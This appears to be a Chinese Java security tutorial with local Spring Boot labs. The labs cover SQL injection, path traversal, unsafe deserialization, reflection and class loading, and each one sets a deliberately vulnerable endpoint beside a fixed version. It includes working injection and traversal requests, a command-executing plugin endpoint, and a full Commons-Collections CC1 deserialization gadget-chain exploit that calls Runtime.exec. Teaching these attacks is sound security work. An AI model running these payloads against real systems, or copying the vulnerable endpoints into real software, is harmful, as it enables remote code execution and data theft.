从零开始的 Java 安全

spring.application.name=javasec-lab

spring.datasource.url=jdbc:mysql://localhost:3306/javasec_lab?useUnicode=true&characterEncoding=utf8&serverTimezone=Asia/Shanghai
spring.datasource.username=javasec
spring.datasource.password=javasec@pass
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

mvn -N wrapper:wrapper -Dmaven=3.9.9
./mvnw -test

CREATE TABLE IF NOT EXISTS users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL UNIQUE,
    display_name VARCHAR(100) NOT NULL,
    email VARCHAR(255) NOT NULL,
	role VARCHAR(30) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

INSERT INTO users (username, display_name, email, role)
VALUES
    ('admin', 'Administrator', 'admin@example.com', 'admin'),
    ('alice', 'Alice', 'alice@example.com', 'user'),
    ('bob', 'Bob', 'bob@example.com', 'user'),
    ('test', 'Test User', 'test@example.com', 'guest')
ON DUPLICATE KEY UPDATE
    display_name = VALUES(display_name),
    email = VALUES(email),
    role = VALUES(role);

package com.example.javasec_lab;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class JavasecLabApplication {

	public static void main(String[] args) {
		SpringApplication.run(JavasecLabApplication.class, args);
	}

}

// src/main/java/com/example/javasec_lab/user/UserDto.java
package com.example.javasec_lab.user;

public record UserDto(
    Long id,
    String username,
    String display_name,
    String email,
    String role
) {
}

// src/main/java/com/example/javasec_lab/user/UserRepository.java
package com.example.javasec_lab.user;
import java.util.List;

import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Repository;

@Repository
public class UserRepository {

    private final JdbcTemplate jdbcTemplate;

    public UserRepository(JdbcTemplate jdbcTemplate){
        this.jdbcTemplate = jdbcTemplate;
    }

    public List<UserDto> findByUsernameSafe(String username) {
        String sql = """
            SELECT id, username, display_name, email, role
            FROM users
            WHERE username = ?
            """;

        return jdbcTemplate.query(
            sql,
            (rs, rowNum) -> new UserDto(
                    rs.getLong("id"),
                    rs.getString("username"),
                    rs.getString("display_name"),
                    rs.getString("email"),
                    rs.getString("role")
            ),
            username
        );
    }
}

// src/main/java/com/example/javasec_lab/user/UserService.java
package com.example.javasec_lab.user;
import org.springframework.stereotype.Service;
import java.util.List;


@Service
public class UserService {
    
    private final UserRepository userRepository;

    public UserService(UserRepository userRepository) {
        this.userRepository = userRepository;
    }

    public List<UserDto> findByUsernameSafe(String username) {
        return userRepository.findByUsernameSafe(username);
    }
}

// src/main/java/com/example/javasec_lab/user/UserController.java
package com.example.javasec_lab.user;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController
public class UserController {

    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/users/search-safe")
    public List<UserDto> searchSafe(@RequestParam String username) {
        return userService.findByUsernameSafe(username);
    }
}

curl "http://localhost:8080/users/search-safe?username=alice'%20OR%20'1'%3D'1"

# []

// src/main/java/com/example/javasec_lab/user/UserRepository.java
public List<UserDto> findByUsernameUnsafe(String username) {
      String sql = """
        SELECT id, username, display_name, email, role
        FROM users
        WHERE username = '%s'
        """.formatted(username);

    return jdbcTemplate.query(
        sql,
        (rs, rowNum) -> new UserDto(
            rs.getLong("id"),
            rs.getString("username"),
            rs.getString("display_name"),
            rs.getString("email"),
            rs.getString("role")
        )
    );
}

curl "http://localhost:8080/users/search-unsafe?username=alice'%20OR%20'1'%3D'1"

# [{"id":1,"username":"admin","display_name":"Administrator","email":"admin@example.com","role":"admin"},{"id":2,"username":"alice","display_name":"Alice","email":"alice@example.com","role":"user"},{"id":3,"username":"bob","display_name":"Bob","email":"bob@example.com","role":"user"},{"id":4,"username":"test","display_name":"Test User","email":"test@example.com","role":"guest"}]

// src/main/java/com/example/pathtraversal_lab/file/FileController.java
package com.example.pathtraversal_lab.file;

import ...

@RestController
public class FileController {

    private final Path baseDir = Paths.get("storage/files").toAbsolutePath().normalize();

    @GetMapping(value = "/files/read-unsafe", produces = MediaType.TEXT_PLAIN_VALUE)
    public String readUnsafe(@RequestParam String filename) throws IOException {
        Path path = Paths.get("storage/files", filename);
        return Files.readString(path);
    }

    @GetMapping(value = "/files/read-safe", produces = MediaType.TEXT_PLAIN_VALUE)
    public String readSafe(@RequestParam String filename) throws IOException {
        Path target = baseDir.resolve(filename).normalize();

        if (!target.startsWith(baseDir)) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST, "invalid filename");
        }

        if (!Files.isRegularFile(target)) {
            throw new ResponseStatusException(HttpStatus.NOT_FOUND, "file not found");
        }

        return Files.readString(target);
    }
}

curl "http://localhost:8081/files/read-unsafe?filename=hello.txt"

# hello from public file

curl "http://localhost:8081/files/read-unsafe?filename=../private/secret.txt"

# secret from private file

curl "http://localhost:8081/files/read-safe?filename=../private/secret.txt"

# {"timestamp":"2026-08-28T02:55:40.925Z","status":400,"error":"Bad Request","path":"/files/read-safe"}

// src/main/java/com/example/deserialization_lab/model/SafeMessage.java

package com.example.deserialization_lab.model;

import java.io.Serializable;

public class SafeMessage implements Serializable {

    private String sender;
    private String content;

    public SafeMessage() {
    }

    public SafeMessage(String sender, String content) {
        this.sender = sender;
        this.content = content;
    }

    public String getSender() {
        return sender;
    }

    public String getContent() {
        return content;
    }

    @Override
    public String toString() {
        return "SafeMessage{" +
                "sender='" + sender + '\'' +
                ", content='" + content + '\'' +
                '}';
    }
}

// src/main/java/com/example/deserialization_lab/model/BlockedMessage.java
package com.example.deserialization_lab.model;

import java.io.Serializable;

public class BlockedMessage implements Serializable {

    private String value;

    public BlockedMessage() {
    }

    public BlockedMessage(String value) {
        this.value = value;
    }

    public String getValue() {
        return value;
    }

    @Override
    public String toString() {
        return "BlockedMessage{" +
        "value='" + value + '\'' +
        '}';
    }
}

// src/main/java/com/example/deserialization_lab/deserialization/SerializationHelper.java

public class SerializationHelper {

    public static String serializeToBase64(Object object) throws IOException {
        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();

        try (ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteStream)) {
            objectOutputStream.writeObject(object);
        }

        return Base64.getEncoder().encodeToString(byteStream.toByteArray());
    }

    public static Object deserializeUnsafe(String base64) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64);

        try (ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data))) {

            return objectInputStream.readObject();
        }
    }

    public static Object deserializeSafe(String base64) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64);

        try (ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data))) {

            ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
            "com.example.deserialization_lab.model.SafeMessage;java.lang.String;!*"
            );

            objectInputStream.setObjectInputFilter(filter);

            return objectInputStream.readObject();
        }
    }
}

ac ed 00 05 73 72 00 31 63 6f 6d 2e 65 78 61 6d
70 6c 65 2e 64 65 73 65 72 69 61 6c 69 7a 61 74
69 6f 6e 5f 6c 61 62 2e 6d 6f 64 65 6c 2e 53 61
66 65 4d 65 73 73 61 67 65 c7 ed 5c fa c8 b6 79
98 02 00 02 4c 00 07 63 6f 6e 74 65 6e 74 74 00
12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69
6e 67 3b 4c 00 06 73 65 6e 64 65 72 71 00 7e 00
01 78 70 74 00 1c 68 65 6c 6c 6f 20 66 72 6f 6d
20 73 65 72 69 61 6c 69 7a 65 64 20 6f 62 6a 65
63 74 74 00 05 61 6c 69 63 65

TC_OBJECT
  TC_CLASSDESC
    className = com.example.deserialization_lab.model.SafeMessage
    serialVersionUID = c7 ed 5c fa c8 b6 79 98
    flags = Serializable
    fields count = 2

    field 1:
      name = content
      type = java.lang.String

    field 2:
      name = sender
      type = java.lang.String

    superclass = null

  values:
    content = "hello from serialized object"
    sender = "alice"

// src/main/java/com/example/deserialization_lab/deserialization/DeserializationController.java
@RestController
public class DeserializationController {

    @PostMapping(value = "/deserialization/unsafe", consumes = MediaType.TEXT_PLAIN_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
    public String deserializeUnsafe(@RequestBody String base64) {
        try {
            Object object = SerializationHelper.deserializeUnsafe(base64.trim());
            return "type=" + object.getClass().getName() + "\nvalue=" + object + "\n";
        } catch (Exception e) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST, e.getClass().getSimpleName() + ": " + e.getMessage());
        }
    }

    @PostMapping(value = "/deserialization/safe", consumes = MediaType.TEXT_PLAIN_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
    public String deserializeSafe(@RequestBody String base64) {
        try {
            Object object = SerializationHelper.deserializeSafe(base64.trim());
            return "type=" + object.getClass().getName() + "\nvalue=" + object + "\n";
        } catch (Exception e) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST, e.getClass().getSimpleName() + ": " + e.getMessage());
        }
    }
}

import com.example.deserialization_lab.model.SafeMessage;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class GenerateSafePayload {
    public static void main(String[] args) throws Exception {
        SafeMessage msg = new SafeMessage("alice", "hello from local
        payload");

        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();

        try (ObjectOutputStream objectOutputStream = new
        ObjectOutputStream(byteStream)) {
            objectOutputStream.writeObject(msg);
        }

        String base64 =
        Base64.getEncoder().encodeToString(byteStream.toByteArray());
        System.out.println(base64);
    }
}

gradle test # 直接用测试来编译, 顺便可以看看有没有问题
java -cp ./tmp:./build/classes/java/main/ GenerateSafePayload
# 这里要设定两个 classpath, 因为两个class所在目录不同, 而 GenerateSafePayload 依赖 SafeMessage

rO0ABXNyADFjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLlNhZmVNZXNzYWdlx+1c+si2eZgCAAJMAAdjb250ZW50dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGc2VuZGVycQB+AAF4cHQAGGhlbGxvIGZyb20gbG9jYWwgcGF5bG9hZHQABWFsaWNl

curl -s -X POST "http://localhost:8083/deserialization/unsafe" \
    -H "Content-Type: text/plain" \
    --data "rO0ABXNyADFjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLlNhZmVNZXNzYWdlx+1c+si2eZgCAAJMAAdjb250ZW50dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGc2VuZGVycQB+AAF4cHQAGGhlbGxvIGZyb20gbG9jYWwgcGF5bG9hZHQABWFsaWNl"

# type=com.example.deserialization_lab.model.SafeMessage
# value=SafeMessage{sender='alice', content='hello from local payload'}

curl -s -X POST "http://localhost:8083/deserialization/unsafe" \
    -H "Content-Type: text/plain" \
    --data "rO0ABXNyADFjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLlNhZmVNZXNzYWdlx+1c+si2eZgCAAJMAAdjb250ZW50dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGc2VuZGVycQB+AAF4cHQAGGhlbGxvIGZyb20gbG9jYWwgcGF5bG9hZHQABWFsaWNl"

# type=com.example.deserialization_lab.model.SafeMessage
# value=SafeMessage{sender='alice', content='hello from local payload'}

curl -s -X POST "http://localhost:8083/deserialization/safe" \
    -H "Content-Type: text/plain" \
    --data "rO0ABXNyADRjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLkJsb2NrZWRNZXNzYWdl5dASmxiARX8CAAFMAAV2YWx1ZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAaaGVsbG8gZnJvbSBibG9ja2VkIHBheWxvYWQ="

# {"timestamp":"2026-08-31T06:38:21.222Z","status":400,"error":"Bad Request","path":"/deserialization/safe"}

curl -s -X POST "http://localhost:8083/deserialization/unsafe" \
    -H "Content-Type: text/plain" \
    --data "rO0ABXNyADRjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLkJsb2NrZWRNZXNzYWdl5dASmxiARX8CAAFMAAV2YWx1ZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAaaGVsbG8gZnJvbSBibG9ja2VkIHBheWxvYWQ="

# type=com.example.deserialization_lab.model.BlockedMessage
# value=BlockedMessage{value='hello from blocked payload'}

// 一般写法:
LocalDate.now();
// 用反射写:
Class<?> clazz = Class.forName("java.time.LocalDate");
Method method = clazz.getDeclaredMethod("now");
method.invoke(null);

// src/main/java/com/example/reflection_lab/ReflectionController.java

@RestController
public class ReflectionController {

    private static final Set<String> ALLOWED_CLASSES = Set.of(
    "java.lang.String",
    "java.time.LocalDate",
    "java.time.LocalDateTime"
    );

    @GetMapping(value = "/reflection/class-info", produces =
    MediaType.TEXT_PLAIN_VALUE)
    public String classInfo(@RequestParam String className) throws
    ClassNotFoundException {
        Class<?> clazz = Class.forName(className);

        String fields = Arrays.stream(clazz.getDeclaredFields())
        .map(this::formatField)
        .collect(Collectors.joining("\n"));

        String methods = Arrays.stream(clazz.getDeclaredMethods())
        .limit(20)
        .map(this::formatMethod)
        .collect(Collectors.joining("\n"));

        return """
        className=%s
        package=%s
        superclass=%s

        fields:
        %s

        methods(first 20):
        %s
        """.formatted(
        clazz.getName(),
        clazz.getPackageName(),
        clazz.getSuperclass() == null ? "null" :
        clazz.getSuperclass().getName(),
        fields.isBlank() ? "(none)" : fields,
        methods.isBlank() ? "(none)" : methods
        );
    }

    @GetMapping(value = "/reflection/call-zero-arg", produces =
    MediaType.TEXT_PLAIN_VALUE)
    public String callZeroArg(
    @RequestParam String className,
    @RequestParam String methodName
    ) throws ReflectiveOperationException {
        Class<?> clazz = Class.forName(className);
        Method method = clazz.getDeclaredMethod(methodName);

        if (!Modifier.isStatic(method.getModifiers())) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST,
            "method must be static");
        }

        Object result = method.invoke(null);

        return "resultType=" +
        (result == null ? "null" : result.getClass().getName())
        +
        "\nvalue=" + result + "\n";
    }

    @GetMapping(value = "/reflection/safe-class-info", produces =
    MediaType.TEXT_PLAIN_VALUE)
    public String safeClassInfo(@RequestParam String className) throws
    ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST,
            "class not allowed");
        }

        return classInfo(className);
    }

    private String formatField(Field field) {
        return Modifier.toString(field.getModifiers()) +
        " " + field.getType().getTypeName() +
        " " + field.getName();
    }

    private String formatMethod(Method method) {
        String parameters = Arrays.stream(method.getParameterTypes())
        .map(Class::getTypeName)
        .collect(Collectors.joining(", "));

        return Modifier.toString(method.getModifiers()) +
        " " + method.getReturnType().getTypeName() +
        " " + method.getName() +
        "(" + parameters + ")";
    }
}

curl "http://localhost:8080/reflection/class-info?className=java.lang.String"

# className=java.lang.String
# package=java.lang
# superclass=java.lang.Object

# fields:
# private final byte[] value
# private final byte coder
# ...

# methods(first 20):
#  byte[] value()
# public boolean equals(java.lang.Object)
# ...

curl "http://localhost:8080/reflection/call-zero-arg?className=java.time.LocalDate&methodName=now"

# resultType=java.time.LocalDate
# value=2026-08-31

curl "http://localhost:8080/reflection/safe-class-info?className=java.lang.Runtime"

# {"timestamp":"2026-08-31T09:44:14.019Z","status":400,"error":"Bad Request","path":"/reflection/safe-class-info"}

@GetMapping(value = "/reflection/new-string-builder", produces = MediaType.TEXT_PLAIN_VALUE)
public String newStringBuilder(@RequestParam String text) throws
ReflectiveOperationException {
    Class<?> clazz = Class.forName("java.lang.StringBuilder");

    Constructor<?> constructor =
    clazz.getDeclaredConstructor(String.class);

    Object object = constructor.newInstance(text);

    return "objectType=" + object.getClass().getName() +
    "\nvalue=" + object + "\n";
}

@GetMapping(value = "/reflection/call-instance", produces = MediaType.TEXT_PLAIN_VALUE)
public String callInstance(
@RequestParam String text,
@RequestParam String methodName
) throws ReflectiveOperationException {
    StringBuilder builder = new StringBuilder(text);

    Method method =
    StringBuilder.class.getDeclaredMethod(methodName);

    if (Modifier.isStatic(method.getModifiers())) {
        throw new ResponseStatusException(HttpStatus.BAD_REQUEST,
        "method must be instance method");
    }

    Object result = method.invoke(builder);

    return "targetType=" + builder.getClass().getName() +
    "\ntargetValue=" + builder +
    "\nresultType=" + (result == null ? "null" :
    result.getClass().getName()) +
    "\nresultValue=" + result + "\n";
}

@GetMapping(value = "/reflection/read-private-field", produces = MediaType.TEXT_PLAIN_VALUE)
public String readPrivateField(@RequestParam String secret)
throws ReflectiveOperationException {
    SecretBox box = new SecretBox(secret);

    Field field = SecretBox.class.getDeclaredField("secret");

    field.setAccessible(true);

    Object value = field.get(box);

    return "fieldName=" + field.getName() +
    "\nfieldType=" + field.getType().getName() +
    "\nvalue=" + value + "\n";
}

@GetMapping(value = "/reflection/change-private-field", produces = MediaType.TEXT_PLAIN_VALUE)
public String changePrivateField(
@RequestParam String original,
@RequestParam String changed
) throws ReflectiveOperationException {
    SecretBox box = new SecretBox(original);

    Field field = SecretBox.class.getDeclaredField("secret");

    field.setAccessible(true);

    field.set(box, changed);

    return "box=" + box + "\n";
}

private static class SecretBox {

    private String secret;

    private SecretBox(String secret) {
        this.secret = secret;
    }

    @Override
    public String toString() {
        return "SecretBox{secret='" + secret + "'}";
    }
}

protected final Class<?> defineClass(
        String name,
        byte[] b,
        int off,
        int len
)

// src/main/java/com/example/classloader_lab/demo/InitDemo.java
package com.example.classloader_lab.demo;

public class InitDemo {

    static {
        System.out.println(">>> InitDemo static block executed");
    }

    public static String hello() {
        return "hello from InitDemo";
    }
}

// src/main/java/com/example/classloader_lab/classloader/ClassLoaderController.java
@RestController
public class ClassLoaderController {

    @GetMapping(value = "/classloader/current", produces = MediaType.TEXT_PLAIN_VALUE)
    public String current() {
        ClassLoader appLoader = ClassLoader.getSystemClassLoader();
        ClassLoader platformLoader = ClassLoader.getPlatformClassLoader();
        ClassLoader thisClassLoader = ClassLoaderController.class.getClassLoader();
        ClassLoader stringLoader = String.class.getClassLoader();
        ClassLoader initDemoLoader = InitDemo.class.getClassLoader();

        return """
        systemClassLoader=%s
        platformClassLoader=%s
        thisClassLoader=%s
        stringClassLoader=%s
        initDemoClassLoader=%s
        thisClassLoaderParent=%s
        platformClassLoaderParent=%s
        """.formatted(
        formatLoader(appLoader),
        formatLoader(platformLoader),
        formatLoader(thisClassLoader),
        formatLoader(stringLoader),
        formatLoader(initDemoLoader),
        formatLoader(thisClassLoader.getParent()),
        formatLoader(platformLoader.getParent())
        );
    }

    @GetMapping(value = "/classloader/class-info", produces = MediaType.TEXT_PLAIN_VALUE)
    public String classInfo(@RequestParam String className) throws ClassNotFoundException {
        Class<?> clazz = Class.forName(className);

        return """
        className=%s
        classLoader=%s
        parentLoader=%s
        """.formatted(
        clazz.getName(),
        formatLoader(clazz.getClassLoader()),
        clazz.getClassLoader() == null ? "null" : formatLoader(clazz.getClassLoader().getParent())
        );
    }

    @GetMapping(value = "/classloader/load-only", produces = MediaType.TEXT_PLAIN_VALUE)
    public String loadOnly(@RequestParam String className) throws ClassNotFoundException {
        ClassLoader loader = ClassLoaderController.class.getClassLoader();

        Class<?> clazz = loader.loadClass(className);

        return """
        loadedClass=%s
        classLoader=%s
        note=ClassLoader.loadClass usually loads the class without actively initializing it.
        """.formatted(
        clazz.getName(),
        formatLoader(clazz.getClassLoader())
        );
    }

    @GetMapping(value = "/classloader/for-name", produces = MediaType.TEXT_PLAIN_VALUE)
    public String forName(@RequestParam String className) throws ClassNotFoundException {
        Class<?> clazz = Class.forName(className);

        return """
        loadedClass=%s
        classLoader=%s
        note=Class.forName usually loads and initializes the class.
        """.formatted(
        clazz.getName(),
        formatLoader(clazz.getClassLoader())
        );
    }

    private String formatLoader(ClassLoader loader) {
        if (loader == null) {
            return "Bootstrap ClassLoader(null)";
        }

        return loader.getClass().getName() + "@" + Integer.toHexString(System.identityHashCode(loader));
    }
}

curl "http://localhost:8080/classloader/current"

# systemClassLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# platformClassLoader=jdk.internal.loader.ClassLoaders$PlatformClassLoader@2875b016
# thisClassLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# stringClassLoader=Bootstrap ClassLoader(null)
# initDemoClassLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# thisClassLoaderParent=jdk.internal.loader.ClassLoaders$PlatformClassLoader@2875b016
# platformClassLoaderParent=Bootstrap ClassLoader(null)

curl "http://localhost:8080/classloader/class-info?className=java.lang.String"

# className=java.lang.String
# classLoader=Bootstrap ClassLoader(null)
# parentLoader=null

curl "http://localhost:8080/classloader/class-info?className=com.example.classloader_lab.demo.InitDemo"

# className=com.example.classloader_lab.demo.InitDemo
# classLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# parentLoader=jdk.internal.loader.ClassLoaders$PlatformClassLoader@2875b016

curl "http://localhost:8080/classloader/load-only?className=com.example.classloader_lab.demo.InitDemo"

# loadedClass=com.example.classloader_lab.demo.InitDemo
# classLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# note=ClassLoader.loadClass usually loads the class without actively initializing it.

curl "http://localhost:8080/classloader/for-name?className=com.example.classloader_lab.demo.InitDemo"

# loadedClass=com.example.classloader_lab.demo.InitDemo
# classLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# note=Class.forName usually loads and initializes the class.
# 注意服务端控制台的输出, 这里会打印 ">>> InitDemo static block executed"

// src/main/java/com/example/classloader_lab/pluginLoader/PluginController.java
package com.example.classloader_lab.pluginLoader;

import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.nio.file.Paths;
import java.util.concurrent.TimeUnit;

@RestController
public class PluginController {

    @GetMapping(value = "/plugin/run-local", produces = MediaType.TEXT_PLAIN_VALUE)
    public String runLocal(@RequestParam String text) throws Exception {
        URL url = Paths.get("plugins/cmd-plugin.jar")
        .toAbsolutePath()
        .toUri()
        .toURL();
        // 远程加载也可 URL url = new URL("https://example.com/cmd.jar");

        try (URLClassLoader loader = new URLClassLoader(new URL[]{url})) {
            // URLClassLoader 需要数组参数
            Class<?> cmdClass = loader.loadClass("CMD");

            Method method = cmdClass.getMethod("exec", String.class);

            Process process = (Process) method.invoke(null, text);

            String output = readOutput(process);

            return """
            jarUrl=%s
            loadedClass=%s
            classLoader=%s
            method=%s
            output=%s
            """.formatted(
            url,
            cmdClass.getName(),
            cmdClass.getClassLoader(),
            method,
            output
            );
        }
    }

    private String readOutput(Process process) throws IOException, InterruptedException {
        boolean finished = process.waitFor(3, TimeUnit.SECONDS);

        if (!finished) {
            process.destroyForcibly();
            return "timeout";
        }

        StringBuilder output = new StringBuilder();

        try (BufferedReader reader = new BufferedReader(
        new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))) {

            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append('\n');
            }
        }

        output.append("exitCode=").append(process.exitValue());

        return output.toString();
    }
}

import java.io.IOException;

public class CMD {

    public static Process exec(String text) throws IOException {
        return new ProcessBuilder(text)
        .redirectErrorStream(true)
        .start();
    }
}

curl "http://localhost:8080/plugin/run-local?text=ls"

# jarUrl=file:/.../plugins/cmd-plugin.jar
# loadedClass=CMD
# classLoader=jdk.internal.loader.ClassLoaders$AppClassLoader@639fee48
# method=public static java.lang.Process CMD.exec(java.lang.String) throws java.io.IOException
# output=build
# build.gradle
# gradle
# gradlew
# gradlew.bat
# HELP.md
# plugins
# settings.gradle
# src
# exitCode=0

FROM lwieske/java-8:jdk-8u20

WORKDIR /lab

mvn -q dependency:copy \
    -Dartifact=commons-collections:commons-collections:3.2.1 \
    -DoutputDirectory=lib

// src/lab/Cc1TransformedMapDemo.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Cc1TransformedMapDemo {

    public static void main(String[] args) throws Exception {
        Object payload = buildPayload();

        serialize(payload, "payload.bin");

        System.out.println("[+] payload serialized to payload.bin");
        System.out.println("[+] now deserializing payload.bin");

        deserialize("payload.bin");

        Thread.sleep(1000);

        System.out.println("[+] done");
        System.out.println("[+] check /tmp/cc1-jdk8-lab-success");
    }

    private static Object buildPayload() throws Exception {
        Transformer[] realTransformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),

            new InvokerTransformer(
            "getMethod", // iMethodName
            new Class[]{String.class, Class[].class}, // iParamTypes
            new Object[]{"getRuntime", new Class[0]} // iArgs
            ),

            new InvokerTransformer(
            "invoke",
            new Class[]{Object.class, Object[].class},
            new Object[]{null, new Object[0]}
            ),

            new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"touch /tmp/cc1-jdk8-lab-success"}
            )
        };

        Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{new ConstantTransformer(1)}
        );

        Map innerMap = new HashMap();
        innerMap.put("value", "not-a-retention-policy");

        Map transformedMap = TransformedMap.decorate(
        innerMap,
        null,
        transformerChain
        );

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor constructor = clazz.getDeclaredConstructor(
        Class.class,
        Map.class
        );

        constructor.setAccessible(true);

        Object payload = constructor.newInstance(
        Retention.class,
        transformedMap
        );

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, realTransformers);

        return payload;
    }

    private static void serialize(Object object, String file) throws Exception {
        ObjectOutputStream outputStream =
        new ObjectOutputStream(new FileOutputStream(file));

        outputStream.writeObject(object);
        outputStream.close();
    }

    private static Object deserialize(String file) throws Exception {
        ObjectInputStream inputStream =
        new ObjectInputStream(new FileInputStream(file));

        Object object = inputStream.readObject();
        inputStream.close();

        return object;
    }
}

javac -cp lib/commons-collections-3.2.1.jar -d target/classes ./src/lab/Cc1TransformedMapDemo.java
java -cp target/classes:lib/commons-collections-3.2.1.jar lab.Cc1TransformedMapDemo
cd /tmp && ls || grep success

# cc1-jdk8-lab-success  hsperfdata_root  ks-script-YnXfcH

ObjectInputStream.readObject()
  → AnnotationInvocationHandler.readObject()
  → memberValues.entrySet().iterator().next()
  → memberValue.setValue(...)
  → TransformedMap.checkSetValue(...)
  → ChainedTransformer.transform(...)
  → ConstantTransformer.transform(...)
  → InvokerTransformer.transform(...)
  → Runtime.getRuntime().exec(...)